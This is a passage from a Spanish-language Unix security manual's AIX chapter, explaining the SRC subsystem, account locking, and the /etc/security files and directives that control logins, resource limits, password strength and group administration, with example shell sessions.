- 197. 11.4. USUARIOS Y ACCESOS AL SISTEMA 179 Signal Purpose SIGALRM Establishes socket connections for failed services. SIGHUP Rereads the configuration database and reconfigures services. SIGCHLD Restarts the service in case the service ends abnormally. Service Command Description Status tftp /usr/sbin/tftpd tftpd -d /tftpboot active klogin /usr/sbin/krlogind krlogind active kshell /usr/sbin/krshd krshd active ftp /usr/sbin/ftpd ftpd active bruja:/# Como ya hemos dicho antes, el src proporciona comandos comunes para operar con todos sus subsistemas: disponemos de las ´rdenes startsrc y stopsrc para arrancar y detener – respecti- o vamente – tanto subsistemas completos como subservidores de los mismos de forma independiente, y de traceson y tracesoff para activar o desactivar el trazado de los mismos; la orden refresh ‘refresca’ un subsistema (algo similar a enviarle una se˜al sighup), mientras que mediante lssrc n podemos consultar el estado de un subsistema. Por ejemplo, para detener el subservidor telnetd en nuestro sistema no tenemos que recurrir – aunque podr´ ıamos hacerlo – a chsubserver (como vimos al inicio de este punto aplicando el ejemplo al subservidor chargen); una forma equivalente de hacerlo es simplemente ejecutando la siguiente orden: bruja:/# startsrc -t telnet 0513-124 The telnet subserver has been started. bruja:/# grep -w telnet /etc/inetd.conf telnet stream tcp6 nowait root /usr/sbin/telnetd telnetd -a bruja:/# stopsrc -t telnet 0513-127 The telnet subserver was stopped successfully. bruja:/# grep -w telnet /etc/inetd.conf #telnet stream tcp6 nowait root /usr/sbin/telnetd telnetd -a bruja:/# 11.4 Usuarios y accesos al sistema Como vamos a ver en esta secci´n, AIX ofrece un sistema de control de accesos y gesti´n de usuarios o o realmente interesante; al igual que en cualquier entorno Unix, nada m´s instalar el operativo ya a existen una serie de usuarios ‘del sistema’ (root, daemon, sys. . . ). Todos ellos tienen en realidad las cuentas bloqueadas ya que el campo reservado a su contrase˜a en /etc/security/passwd es n un asterisco, aunque una orden como ‘lsuser’ nos diga lo contrario: bruja:/# lsuser -a account_locked ALL root account_locked=false daemon account_locked=false bin account_locked=false sys account_locked=false adm account_locked=false uucp account_locked=false guest account_locked=false nobody account_locked=false lpd account_locked=false imnadm account_locked=false nuucp account_locked=false bruja:/#
- 198. 180 CAP´ ITULO 11. AIX Si necesitamos que la cuenta de un determinado usuario se bloquee temporalmente pero no queremos sustituir su clave del fichero de contrase˜as por un asterisco, podemos ejecutar la orden ‘chuser’1 : n bruja:/# lsuser -a account_locked toni toni account_locked=false bruja:/# chuser account_locked=true toni bruja:/# lsuser -a account_locked toni toni account_locked=true bruja:/# La gesti´n y el control de los accesos al sistema por parte de usuarios se puede llevar a cabo desde o diferentes ficheros del directorio /etc/security/: por ejemplo, en el archivo user se definen los diferentes atributos de cada usuario del sistema, desde las propiedades de envejecimiento de su contrase˜a a las franjas horarias en que el usuario pueden acceder a la m´quina; vamos a ver n a en los siguientes puntos algunos de estos archivos, interesantes para definir o refinar par´metros a relacionados con la seguridad de nuestro sistema. 11.4.1 El fichero /etc/security/.ids El nombre de este archivo quiz´s nos puede inducir a pensar que se trata de algo relacionado con a la detecci´n de intrusos en nuestra m´quina; nada m´s lejos de la realidad: en el fichero .ids o a a se almacena informaci´n necesaria para generar correctamente a nuevos usuarios. Su formato es o similar al siguiente: bruja:/etc/security# cat .ids 8 210 11 205 bruja:/etc/security# Donde ‘8’ y ‘11’ indican los siguientes uid y gid (respectivamente) disponibles para usuarios con privilegios administrativos, mientras que ‘210’ y ‘205’ son equivalentes pero para usuarios sin dichos privilegios. A no ser que conozcamos muy bien el sistema, no es recomendable modificar manualmente este archivo, ya que las herramientas de gesti´n de usuarios lo actualizan de forma autom´tica; de o a cualquier forma, aqu´ lo citamos para evitar confusiones con su nombre, como hemos comentado al ı principio. 11.4.2 El fichero /etc/security/passwd Al contrario de lo que sucede con el archivo .ids, el nombre del fichero passwd no da lugar a equivocaciones: se trata, evidentemente, de informaci´n sobre las claves de los usuarios del sistema. o Esta informaci´n puede estar desajustada con respecto a la contenida en /etc/passwd, por lo que o es recomendable ejecutar peri´dicamente – al menos una vez al mes – ´rdenes como pwdck, usrck o o o grpck, encargadas de verificar, comparar y sincronizar la informaci´n de los usuarios (definiciones, o grupos y autenticaci´n) en las diferentes tablas que AIX mantiene: o bruja:/# pwdck -y ALL The user "daemon" has an invalid password field in /etc/passwd. The user "toni" has an invalid password field in /etc/passwd. bruja:/# usrck -n ALL User daemon is locked. User bin is locked. User sys is locked. User nobody is locked. User lpd is locked. User imnadm is locked. bruja:/# 1 Es necesario recordar una vez m´s que en AIX, a diferencia de otros Unices, vi no es ninguna herramienta a administrativa.
- 199. 11.4. USUARIOS Y ACCESOS AL SISTEMA 181 Tras sincronizar correctamente la informaci´n de los usuarios (par´metro ‘-y’ de estas ´rdenes), o a o en /etc/passwd nos encontraremos el car´cter ‘!’ en el campo reservado a la contrase˜a cifrada a n de cada entrada, mientras que las claves reales ya estar´n en /etc/security/passwd. Este fichero a ha de ser de s´lo lectura para el administrador: es en cierta forma similar al /etc/shadow cl´sico o a de otros Unices; no obstante, difiere enormemente de ´l en el formato del archivo, ya que no utiliza e una entrada por l´ ınea con los campos separados por el car´cter ‘:’. Por contra, en AIX cada a usuario tiene definidos una serie de campos, uno por l´ ınea, y con el identificador del campo y su contenido separados por un signo ‘=’; por ejemplo, la entrada para el usuario ‘oracle’ en /etc/security/passwd podr´ ser similar a la siguiente: ıa oracle: password = be3a2NjB.dtbg lastupdate = 995301219 flags = El primer campo representa obviamente la contrase˜a cifrada del usuario; el segundo representa n el la fecha y hora de la ultima actualizaci´n del conjunto de atributos (denominado ‘stanza’) del ´ o usuario, y finalmente el campo ‘flags’, por defecto vac´ puede contener una serie de par´metros ıo, a caracter´ısticos del usuario concreto: si se trata de un usuario con cierto privilegio, si no necesi- ta contrase˜a para conectar al sistema. . . ; para obtener m´s informaci´n sobre estos par´metros n a o a podemos consultar la p´gina del manual de ‘pwdck’. a 11.4.3 El fichero /etc/security/failedlogin Como su nombre indica, en este fichero se registran los intentos fallidos de acceso al sistema; su formato no es de texto plano, sino que es similar a los ficheros wtmp de AIX y otros sistemas Unix. Por tanto, para visualizar el contenido de este archivo necesitamos ejecutar ´rdenes como ‘last’ o o ‘who’ con los par´metros adecuados: a bruja:/# who -s /etc/security/failedlogin |tail -3 oracle pts/24 Sep 5 12:55 (luisa) UNKNOWN_ dtlogin/_0 Sep 12 11:01 toni pts/23 Sep 13 15:45 (anita) bruja:/# 11.4.4 El fichero /etc/security/lastlog En el archivo /etc/security/lastlog de un sistema AIX, un fichero de texto plano que poco tiene que ver con el formato del ‘lastlog’ de otros Unices, se encuentra almacenada informaci´n o relativa a la ultima conexi´n – o intento de conexi´n – de cada usuario de la m´quina; en concreto, ´ o o a aparecen referencias a la hora, terminal y host origen de la ultima entrada al sistema y del ultimo ´ ´ intento de acceso. Cuando un usuario es creado mediante mkuser (o equivalentemente, v´ smit) se crea una stanza ıa vac´ para el mismo en este archivo cuyos campos se ir´n rellenando a medida que el usuario acceda ıa a al sistema; esta stanza puede ser similar a la siguiente: toni: time_last_login = 1005297794 tty_last_login = ttyp0 host_last_login = anita unsuccessful_login_count = 0 time_last_unsuccessful_login = 1004445794 tty_last_unsuccessful_login = /dev/pts/14 host_last_unsuccessful_login = luisa Como podemos ver, el nombre de cada campo es autoexplicativo de su funci´n; el unico que quiz´s o ´ a puede plantear alguna duda es unsuccessful login count, que no es m´s que un contador que a indica el n´mero de intentos de acceso fallidos desde la ultima entrada al sistema. u ´
- 200. 182 CAP´ ITULO 11. AIX Para consultar los par´metros de cada usuario almacenados en este archivo no es necesario edi- a tar o visualizar el fichero: mediante la orden lsuser podemos obtener el valor de cada uno de ellos; si por ejemplo nos interesa el nombre de la m´quina desde la que el usuario toni accedi´ por ultima a o ´ vez al sistema, podemos conseguirlo de esta forma: bruja:/# lsuser -a host_last_login toni toni host_last_login=anita bruja:/# 11.4.5 El fichero /etc/security/limits En este archivo se definen l´ ımites a algunos de los recursos que ofrece un entorno de trabajo AIX; como muchos de los archivos del directorio, contiene una stanza que se aplica por defecto y luego entradas – vac´ por lo general – para cada usuario, en las que se pueden personalizar par´metros ıas a que s´lo se aplican a uno o varios usuarios y no a todos (generalmente se definen al crear al usuario). o Las diferentes directivas del archivo son las siguientes: • fsize Tama˜o m´ximo de un archivo en bloques de 512 bytes. n a • core Tama˜o m´ximo de un fichero core (volcado de memoria) en bloques de 512 bytes. n a • cpu Tiempo l´ ımite de CPU por proceso, especificado en segundos. Por defecto no est´ establecido a para ning´n usuario. u • data L´ ımite de tama˜o del segmento de datos de un proceso del usuario, en bloques de 512 bytes. n • stack L´ ımite de tama˜o de la pila de un proceso en bloques de 512 bytes. n • rss L´ ımite del tama˜o de memoria utilizada por proceso, en bloques de 512 bytes. n • nofiles N´mero m´ximo de descriptores de fichero abiertos. u a Cada uno de los l´ ımites anteriores es un l´ımite soft (blando) que el usuario puede sobrepasar si lo desea, modificando su valor mediante la orden ulimit; existen, definidos en el mismo archivo, l´ ımites hard (duros) que el usuario no puede incrementar de ninguna forma. El nombre de cada uno de ellos es el mismo que el de su equivalente soft pero a˜adi´ndole la coletilla ‘ hard’: fsize hard, n e rss hard,etc. Podemos ver los l´ ımites aplicables a uno o m´s usuarios mediante la orden ‘lsuser’ (un valor a de ‘-1’ indica que se trata de un recurso no limitado al usuario en cuesti´n): o bruja:/# lsuser -f -a fsize core cpu data stack rss nofiles toni toni: fsize=2097151 core=2097151 cpu=-1 data=262144 stack=65536 rss=65536 nofiles=2000 bruja:/#
- 201. 11.4. USUARIOS Y ACCESOS AL SISTEMA 183 Por defecto, AIX ofrece unos l´ ımites bastante razonables a los recursos que cada usuario puede consumir; no obstante, en funci´n de para qu´ se utilice cada sistema concreto, es recomendable o e que sea el administrador el que deba especificar qu´ limites impone a los usuarios sobre los recursos e de la m´quina para prevenir negaciones de servicio contra los mismos. a 11.4.6 El fichero /etc/security/login.cfg En este archivo se definen ciertos par´metros de control para las conexiones remotas a un sistema a AIX; como veremos en este punto, todos ellos tienen implicaciones directas, aunque de diferente grado, en la seguridad del entorno de trabajo. Se puede dividir en tres grandes ´reas: la correspon- a diente a la definici´n de puertos, la relativa a m´todos de autenticaci´n de usuarios y la que define o e o atributos tambi´n de los usuarios; todas ellas contienen una stanza por defecto, y adicionalmente e definiciones particulares para elementos concretos. La primera gran ´rea del archivo, la relativa a los puertos, est´ formada por una serie de par´metros a a a que definen caracter´ısticas del acceso al sistema a trav´s de ellos; la primera directiva de este grupo e es herald, que permite definir el mensaje que se muestra en la pantalla del usuario que trata de es- tablecer una conexi´n remota con el sistema (algo similar al archivo /etc/motd del resto de Unices, o fichero que en AIX no existe – y si es creado no tiene efecto –). Cuando tratamos de acceder a una m´quina AIX el mensaje que se muestra es similar al siguiente: a luisa:~$ telnet bruja Trying 192.168.0.10... Connected to bruja. Escape character is ’^]’. telnet (bruja) AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996. login: Modificando la directiva herald de /etc/security/login.cfg podemos definir otros mensajes de presentaci´n; si por ejemplo queremos simular que nuestra m´quina ejecuta Solaris en lugar de AIX, o a podemos emular el mensaje del primero: bruja:/# grep herald /etc/security/login.cfg herald = "SunOS 5.8nnlogin: " bruja:/# As´ cuando un usuario trate de conectar al sistema, ver´ algo parecido a lo siguiente: ı, a bruja:/# telnet 0 Trying... Connected to 0. Escape character is ’^]’. SunOS 5.8 login:^D Connection closed. bruja:/# Relacionada con el anterior par´metro tenemos la directiva herald2, formada por una cadena de a texto y que define el mensaje de login impreso en la terminal tras un intento fallido de acceso al sistema; por defecto, esta cadena de texto es un nuevo prompt de login. Tambi´n relativa a los puertos, otra directiva interesante que podemos encontrar en el fichero e login.cfg es logindelay, que permite especificar el retardo en segundos entre intentos consecu- tivos de entrada al sistema; si es diferente de 0 (si es 0 se deshabilita su efecto) el valor de este
- 202. 184 CAP´ ITULO 11. AIX par´metro se multiplica por el n´mero de intentos fallidos: si logindelay es 1 el retardo entre el a u primer y el segundo intento ser´ de un segundo, entre el segundo y el tercero ser´ de dos, etc. Junto a a a este par´metro podemos definir tambi´n la directiva logindisable, que marca el n´mero de a e u intentos de entrada al sistema fallidos que una conexi´n acepta antes de cerrarse – o bloquearse, si o se trata de una l´ ınea serie –, logininterval, que define los segundos durante los que se tienen que producir los intentos fallidos de conexi´n para que se cierre o bloquee la misma, y loginreenable, o que obviamente indica el intervalo – en minutos – que un puerto va a permanecer bloqueado (si su valor es 0 – y por defecto lo es – estar´ as´ hasta que el administrador lo desbloquee manualmente a ı mediante chsec). Otra entrada util en el archivo login.cfg es logintimes, que como su nombre indica define las ´ horas y d´ durante las que un puerto determinado puede ser utilizado para acceder al sistema, ıas algo similar (en idea, no en sintaxis) al archivo /etc/porttime de Linux o al prot.pwd.DB de HP-UX 10.x. El formato utilizado para especificar los intervalos de horas o d´ en los que el acceso ıas se permite (entradas llamadas allow) o se deniega (entradas deny) no es inmediato, por lo que es recomendable – como siempre en Unix – consultar la p´gina del manual de login.cfg. Por de- a fecto, se permite a todos los usuarios acceder a trav´s de cualquier l´ e ınea sin importar el d´ ni la hora. ıa Para finalizar con el ´rea de puertos vamos a comentar un par de directivas que tambi´n se pueden a e definir en el archivo login.cfg: se trata de sak enabled y synonym. La primera de ellas indica si el secure attention key (sak) est´ habilitado en el puerto, lo que implica que los usuarios pueden a obtener una ruta de comunicaci´n fiable (trusted communication path, tcp) mediante la combi- o naci´n de teclas Ctrl-X Ctrl-R; en la secci´n dedicada a la base fiable de c´mputo de los sistemas o o o Unix ya hablamos de este tipo de comunicaciones seguras, por lo que no vamos a entrar aqu´ en ı m´s detalles. La segunda de las directivas a las que hac´ a ıamos referencia, la denominada synonym, tiene como objetivo definir sin´nimos para una terminal concreta; est´ bastante relacionada con o a la primera, ya que restringe el acceso al puerto, que s´lo se utilizar´ para establecer una ruta de o a comunicaci´n fiable con el sistema. o La segunda gran ´rea del fichero /etc/security/login.cfg hace referencia, como dijimos al prin- a cipio, a los m´todos de autenticaci´n de usuarios disponibles en la m´quina. M´s tarde, cuando e o a a hablemos del fichero /etc/security/user, veremos que se pueden definir mecanismos secundarios de autenticaci´n en el sistema que funcionan de forma independiente o junto al esquema cl´sico o a de nombre de usuario y contrase˜a. Los programas que implanten estos mecanismos adicionales n han de definirse dentro de una stanza, bajo la directiva ‘program’, que le de un nombre al modelo de autenticaci´n que posteriormente se definir´ para uno o m´s usuarios en /etc/security/user; o a a insistimos en la palabra ‘adicionales’, ya que los esquemas de autenticaci´n cl´sicos no requieren o a definici´n (system, para acceder con nombre de usuario y contrase˜a, y none, para acceder sin o n autenticaci´n). Por ejemplo, imaginemos que si queremos definir un nuevo m´todo basado en o e claves de un solo uso al que vamos a denominar authone y que est´ implementado en el programa a /usr/local/auth/onetime; su stanza ser´ similar a la siguiente: ıa authone: program = /usr/local/auth/onetime La ultima ´rea del archivo proporciona la definici´n de algunos atributos globales de los usuarios ´ a o bajo una stanza unica: usw. El primero de estos atributos es logintimeout, que define el tiempo ´ en segundos (60, por defecto) que un usuario tiene para teclear su contrase˜a cuando el sistema se n lo solicita. Un segundo par´metro, maxlogins, define el n´mero m´ximo de conexiones simult´neas a u a a que un usuario puede abrir en el sistema: el valor por defecto, 100, es a todas luces excesivo en la mayor parte de entornos, por lo que deber´ ıamos especificar un valor adecuado a nuestro sistema – es imposible dar un valor ‘´ptimo’ para esta directiva –; si el valor de maxlogins es 0, o el n´mero m´ximo de conexiones simult´neas de un usuario est´ ilimitado. Finalmente, el ultimo u a a a ´ par´metro, shells, define los int´rpretes de comandos v´lidos en la m´quina, algo similar al archivo a e a a /etc/shells de otros Unices. Una entrada t´ ıpica de esta stanza puede ser similar a la siguiente: usw: shells = /bin/sh,/bin/bsh,/bin/csh,/bin/ksh,/bin/tsh,/usr/bin/sh
- 203. 11.4. USUARIOS Y ACCESOS AL SISTEMA 185 maxlogins = 5 logintimeout = 30 11.4.7 El fichero /etc/security/user En /etc/security/user se definen atributos extendidos de cada usuario; dichos atributos no son m´s que los no incluidos en el fichero /etc/passwd convencional de todo sistema Unix: mientras a que en este ultimo encontramos datos como el login o el uid de cada usuario, en el primero tenemos ´ informaci´n como la fecha de caducidad de las contrase˜as, las horas a las que puede conectar o n cada usuario, o los requisitos de seguridad m´ ınimos para su clave. Cuando se a˜ade un usuario al n sistema mediante la orden mkuser se genera una nueva stanza en el fichero correspondiente al nuevo usuario, con unos atributos por defecto tomados del archivo /usr/lib/security/mkuser.default; existen numerosos atributos extendidos para los usuarios, y conocer algunos de ellos es vital para incrementar los niveles de seguridad ofrecidos por defecto por AIX. En este punto vamos a hablar de estos atributos. Una directiva b´sica almacenada en /etc/security/user es account locked, que evidentemente a indica si una cuenta est´ bloqueada o no lo est´; es una variable booleana, por lo que sus posi- a a bles valores son sencillamente true o false (o equivalentemente, yes y always o no y never). Aunque es muy similar a esta, la directiva login (tambi´n booleana) no es exactamente igual: si e su valor es false o equivalente el usuario no puede acceder al sistema, pero su cuenta no est´ a bloqueada, ya que es posible llegar a ella mediante su. Otra restricci´n de acceso para un usuario o viene determinada por rlogin, que define si un usuario puede acceder al sistema de forma remota a trav´s de telnet o rlogin (otros m´todos de acceso, como ssh, no son controlados por esta directiva). e e El que un usuario no tenga su cuenta bloqueada ni su acceso deshabilitado implica que puede utilizar su login para entrar – evidentemente si su autenticaci´n es correcta – al sistema; algunas o caracter´ısticas de este acceso tambi´n se definen en /etc/security/user: por ejemplo, las horas e y d´ que un determinado usuario puede acceder al equipo, mediante la directiva logintimes y ıas las terminales desde las que puede hacerlo, mediante ttys. La sintaxis de la primera es equivalente a la utilizada en el fichero login.cfg, pero afectando ahora a usuarios concretos y no a puertos, mientras que la segunda se define mediante una lista de terminales separadas por comas; alterna- tivamente se pueden usar los comodines ‘all’ o ‘∗’ para indicar que el usuario puede acceder a trav´s de cualquier l´ e ınea: bruja:/# lsuser -a ttys toni toni ttys=ALL bruja:/# Un grupo de directivas del archivo /etc/security/user tambi´n importantes para nuestra seguri- e dad son las relativas a la contrase˜a de cada usuario; una de ellas es expires, que define la fecha de n expiraci´n de la clave en formato mmddhhmmyy (un cero, valor por defecto, indica que el password o nunca caduca): bruja:/# lsuser -a expires toni toni expires=0 bruja:/# Tambi´n relacionada con el envejecimiento de claves tenemos la directiva pwdwarntime, que define e el n´mero de d´ de antelaci´n con los que se avisar´ a un usuario antes de obligarle a cambiar su u ıas o a contrase˜a. El periodo de validez de una clave viene indicado en semanas por la directiva maxage, n cuyo valor puede oscilar entre 0 (valor por defecto, que indica que no existe caducidad) o 52 (un a˜o de vida); por contra, el tiempo m´ n ınimo de vida de la contrase˜a se define en minage, que n puede tomar los mismos valores que la directiva anterior. Cuando una clave caduca entra en juego la directiva maxexpired, que indica en semanas el tiempo durante el que se permite a un usuario (antes de bloquear su cuenta) acceder al sistema para cambiar su password, y cuyo valor oscila entre -1 (tiempo ilimitado) y 52 (un a˜o). n Cuando un usuario cambia su contrase˜a, obligado o no por el sistema, entran en juego otra serie de n
- 204. 186 CAP´ ITULO 11. AIX par´metros tambi´n definidos en el fichero /etc/security/user: los relativos a las caracter´ a e ısticas que ha de poseer una clave del sistema. Sin duda uno de los m´s importantes para la seguridad, y a que no aparece en otros Unices habituales, es dictionlist; esta directiva permite definir ficheros de diccionario (indicando las rutas absolutas de los mismos separadas por comas) contra los que se comprobar´ cada clave nueva elegida por un usuario. Los ficheros han de ser simples archivos de a texto con palabras habituales – o modificaciones de las mismas – utilizadas en un lenguaje o ´rea a espec´ıfica, similares a los utilizados como entrada de un programa rompedor de contrase˜as tipo n Crack o John the Ripper. Adicionalmente, AIX permite indicar m´todos alternativos para compro- e bar la robustez de una clave mediante la directiva pwdchecks, que define m´todos de comprobaci´n e o cargados en tiempo de ejecuci´n cuando un usuario ejecuta passwd para cambiar su contrase˜a. o n Siguiendo con los par´metros relativos a las claves de usuario tenemos una serie de directivas a que son b´sicas para garantizar la robustez de las contrase˜as; una de ellas es minlen, que mar- a n ca la longitud m´ ınima de una clave y que por defecto est´ a cero (un valor m´s adecuado ser´ a a ıa seis). Adem´s, mediante minalpha y minother podemos definir el n´mero m´ a u ınimo de caracteres alfab´ticos y no alfab´ticos (respectivamente) exigibles en una clave; como en el anterior caso, el e e valor por defecto de ambos es cero, por lo que es recomendable aumentarlo como m´ ınimo hasta dos, para garantizar que todo password tiene por lo menos un par de letras y un par de carac- teres num´ricos o de s´ e ımbolos. Otra directiva interesante es maxrepeats, que permite especificar el n´mero m´ximo de veces que un determinado car´cter puede aparecer en una clave; su valor u a a por defecto es ocho (ilimitado), y como siempre es importante modificar esta variable para darle un valor diferente y acorde a nuestra pol´ ıtica de seguridad: por ejemplo dos, de forma que una misma letra, n´mero o signo no aparezca m´s de un par de veces en la clave de un usuario; adem´s, u a a AIX tambi´n permite obligar a los usuarios a utilizar un cierto n´mero de caracteres nuevos en una e u clave (caracteres no usados en el anterior password) mediante la directiva mindiff, cuyo valor puede oscilar entre 0 (por defecto) y 8, que obligar´ al usuario a utilizar s´lo caracteres nuevos en su clave. ıa o Otras directivas relacionadas con las caracter´ ısticas de una clave son las relativas a los hist´ricos de o contrase˜as: en primer lugar, histexpire marca el periodo (en semanas) que un usuario no puede n reutilizar su clave antigua. Su valor por defecto es cero, lo cual evidentemente no beneficia mucho nuestra seguridad, por lo que es recomendable asignarle a esta directiva un valor entre 12 (unos tres meses) y 52 (un a˜o); por su parte, mediante histsize podemos indicar el n´mero de contrase˜as n u n antiguas que no pueden ser reutilizadas (hasta cincuenta), lo que combinado con el valor m´ximo a aceptado por histexpire (260 semanas, o, lo que es lo mismo, cinco a˜os) nos da una idea de la n potencia de AIX en la gesti´n de sus claves: m´s que suficiente en la mayor parte de entornos. o a Una entrada de /etc/security/user que hay que tratar con mucho cuidado, ya que incluso puede ser peligrosa para la seguridad de nuestros usuarios, es loginretries; indica el n´mero de intentos u fallidos de acceso al sistema que puede efectuar un usuario antes de que su cuenta se bloquee. Evidentemente, esto nos puede ayudar a detener a un atacante que intente acceder al sistema adiv- inando la contrase˜a de alguno de nuestros usuarios, pero es tambi´n un arma de doble filo: si un n e pirata quiere causar una negaci´n de servicio a uno o varios usuarios, no tiene m´s que introducir o a el login de los mismos y contrase˜as aleatorias cuando el sistema se lo solicita, lo que har´ que AIX n a inhabilite el acceso leg´ ıtimo de esos usuarios causando un perfecto ataque de negaci´n de servicio o contra los mismos. Quiz´s en la mayor parte de los sistemas sea una buena idea no habilitar esta a directiva (asign´ndole un valor de 0, el que tiene por defecto), y prevenir el hecho de que un pirata a pueda ‘adivinar’ una contrase˜a implantando unas pol´ n ıticas de claves adecuadas. Otras directivas interesantes de /etc/security/user son las relativas a los esquemas de auten- ticaci´n de usuarios seguidos en el sistema; auth1 define el m´todo de autenticaci´n primario de un o e o usuario y acepta tres valores que se pueden combinar entre s´ none (no existe autenticaci´n), sys- ı: o tem (el m´todo cl´sico basado en login y password), y finalmente token;argument. Sin duda este e a ultimo es el m´s interesante, ya que permite a un administrador utilizar m´todos alternativos – por ´ a e s´ s´los o, m´s habitual, combinados con el cl´sico basado en login y password – para autenticar a ı o a a uno o varios usuarios. Estos m´todos (‘token’) han de estar definidos mediante una stanza v´lida, e a como ya vimos, en el archivo /etc/security/login.cfg, y el programa que los implemente ser´ a ejecutado recibiendo como primer par´metro el argumento ‘argument’ definido en la entrada. a
- 205. 11.4. USUARIOS Y ACCESOS AL SISTEMA 187 Imaginemos una situaci´n en la que la autenticaci´n m´ltiple nos puede resultar util: queremos o o u ´ que ciertos usuarios del sistema, aparte de autenticarse con su login y password, tengan que pro- porcionar una clave adicional para acceder a la m´quina, por ejemplo la de un usuario especial a sin acceso real (sin shell ni acceso ftp). Si uno de esos usuarios es toni y el usuario especial es sistemas, deber´ ıamos definir la entrada auth1 de toni para que se efectue en primer lugar la autenticaci´n cl´sica y posteriormente se pida la clave de sistemas – modelo system pero en este o a caso con el par´metro ‘sistemas’ –; esto lo conseguimos ejecutando la orden chuser (o equivalen- a temente modificando el fichero /etc/security/user con un simple editor, aunque es recomendable la primera aproximaci´n): o bruja:/# chuser "auth1=SYSTEM,SYSTEM;sistemas" toni bruja:/# lsuser -a auth1 toni toni auth1=SYSTEM,SYSTEM;sistemas bruja:/# Cuando toni trate de acceder al sistema se le solicitar´ su clave y, si esta es correcta, la clave de a sistemas; si esta ultima tambi´n es v´lida el acceso se permitir´, deneg´ndose en caso contrario2 . ´ e a a a Otra directiva relacionada con la autenticaci´n de usuarios es auth2, que define los m´todos se- o e cundarios de autenticaci´n en el sistema; aunque la idea y sintaxis de los m´todos secundarios es o e similar a los definidos en auth1, la principal diferencia con estos es que los secundarios no son de obligado cumplimiento: para acceder al sistema, un usuario ha de autenticarse correctamente en todos los m´todos primarios, y si lo hace, aunque falle en los secundarios, el acceso es permiti- e do. Esto puede parecer parad´jico pero no lo es en absoluto: los m´todos definidos en auth2 no o e sustituyen a los definidos en auth1, sino que se utilizan de forma adicional para otorgar otros privilegios a un usuario determinado; el caso t´ ıpico puede ser el de Kerberos: cuando un usuario se autentica correctamente en una m´quina, con su login y contrase˜a, el m´todo secundario puede a n e solicitarle una clave adicional para otorgarle credenciales de Kerberos; si esta clave no es correcta el usuario accede al sistema como m´quina aislada, pero sin las credenciales que le autentiquen en el a dominio. Adem´s, los m´todos definidos en auth2 permiten especificar programas no relacionados a e con la autenticaci´n, pero que nos interesa que se ejecuten cuando un usuario accede al sistema. o La ultima directiva de /etc/security/user relacionada con la autenticaci´n de usuarios es sys- ´ o tem, que en AIX 4.x puede ser utilizada para describir diferentes m´todos de autenticaci´n: none e o (sin autenticaci´n), ‘files’, si s´lo se efectua una autenticaci´n local basada en las claves alma- o o o cenadas en /etc/security/passwd, ‘compat’, si a lo anterior le a˜adimos un entorno nis, y dce, n si estamos trabajando con autenticaci´n en un entorno distribuido. Como medida de seguridad o b´sica, la propia IBM recomienda que el root de un sistema AIX s´lo se autentique a trav´s de a o e ficheros de contrase˜as locales (la entrada system de la stanza del superusuario ha de tener como n valor ‘files’). Una vez que un usuario se ha autenticado correctamente y ha accedido al sistema entran en juego otra serie de directivas que nos pueden resultar interesantes de cara a nuestra seguridad. La menos importante es umask, que como su nombre indica define, mediante tres d´ ıgitos octales, la m´scara a por defecto de cada usuario; decimos que es la menos importante porque, como sucede en cualquier Unix, el usuario puede modificar ese valor por defecto siempre que lo desee, simplemente ejecutando la orden umask desde l´ ınea de comandos. Dos entradas que tambi´n afectan a la seguridad de usuarios ya dentro del sistema son su y e sugroups; la primera, cuyo valor puede ser true o false (o sus equivalentes), indica si los usuarios de la m´quina pueden ejecutar la orden su para cambiar su identidad a la del usuario en cuya stanza a se ha definido la directiva: ojo, no se trata de limitar la ejecuci´n de su a un usuario concreto, o sino de limitar al resto la posibiliad de convertirse en ese usuario a trav´s de este comando. Asig- e nar a la directiva su el valor de true puede ayudarnos a proteger ciertas cuentas especiales de la m´quina que no nos interesa que sean alcanzadas de ninguna forma por el resto de usuarios. Por su a 2 Esto es as´ en accesos telnet o r-∗; ssh ignorar´ el segundo esquema de autenticaci´n, proporcionando acceso ı a o s´lo con la clave de toni. o
- 206. 188 CAP´ ITULO 11. AIX parte, la segunda entrada a la que hac´ ıamos referencia, sugroups, define los grupos cuyos miembros pueden (o que no pueden, si precedemos su nombre por el s´ ımbolo ‘!’) acceder mediante la orden su a una cuenta determinada, evidentemente si el valor de la directiva su de esa cuenta es verdadero. Para finalizar este punto vamos a comentar brevemente un ultimo grupo de directivas dentro del ´ archivo /etc/security/user que definen caracter´ ısticas de los usuarios del sistema. En primer lugar, admin define el estado administrativo de un usuario: si es administrador o si no lo es; en caso afirmativo s´lo el root puede modificar las caracter´ o ısticas de ese usuario. Independientemente del estado administrativo de un usuario, cada uno puede ser administrador de grupos concretos (grupos que no sean administrativos, ya que en este caso, como sucede con la definici´n de usuarios, s´lo el o o root puede modificar sus par´metros); entra entonces en juego el valor de admgroups, que indica a los grupos (separados por comas) de los que el usuario es administrador. Otra caracter´ ıstica de cada usuario es la posibilidad del mismo de ejecutar tareas relacionadas con el src; es controlada por la directiva daemon, que puede tomar el valor de verdadero o falso. La entrada registry define la forma de gestionar la autenticaci´n de un usuario concreto: en local o (files) o en entornos distribuidos (nis o dce). Por ultimo, tpath marca las caracter´ ´ ısticas del Trusted Path: nosak, si el Secure Attention Key (recordemos, Ctrl-X Ctrl-R en AIX) no tiene efecto, on, si al pulsar el sak se accede al Trusted Path, always, si siempre que un usuario accee al sistema lo hace al Trusted Path, y finalmente notsh, que desconecta al usuario al pulsar Ctrl-X Ctrl-R, lo que implica que nunca puede estar en el Trusted Path. 11.4.8 El fichero /etc/security/group En el archivo /etc/security/group se pueden definir atributos para cada uno de los grupos del sistema (especificados, como en el resto de Unices, en el fichero /etc/group); de cara a la seguridad, son principalmente dos los atributos que m´s nos interesan en un entorno convencional: admin y a adms. El primero de ellos, la directiva admin, es booleano (es decir, su valor puede ser ‘true’ o ‘false’), y define el estado administrativo del grupo al que afecta. El que un grupo sea admin- istrativo implica que s´lo el administrador puede cambiar atributos del mismo, mientras que si no o lo es aparte del root pueden hacerlo los usuarios pertenecientes al grupo security; en este ultimo ´ caso entra en juego la directiva adms, que define los administradores de grupos no administrativos. Estos administradores de un grupo tienen capacidad para ejecutar ciertas tareas sobre ´l, como e a˜adir o eliminar usuarios o administradores del mismo. n La stanza de un grupo determinado suele ser similar a la siguiente: pruebas: adms = root,toni admin = false Igual que existen ´rdenes propias de AIX para consultar atributos de los usuarios o modificarlos o (lsuser, chuser, rmuser. . . ), en el caso de los grupos existen comandos equivalentes: lsgroup, chgroup. . . Su uso es muy similar al de los primeros: bruja:/# lsgroup pruebas pruebas id=201 admin=false users= adms=root,toni bruja:/# Los atributos de grupo que aparecen en el archivo /etc/security/group se 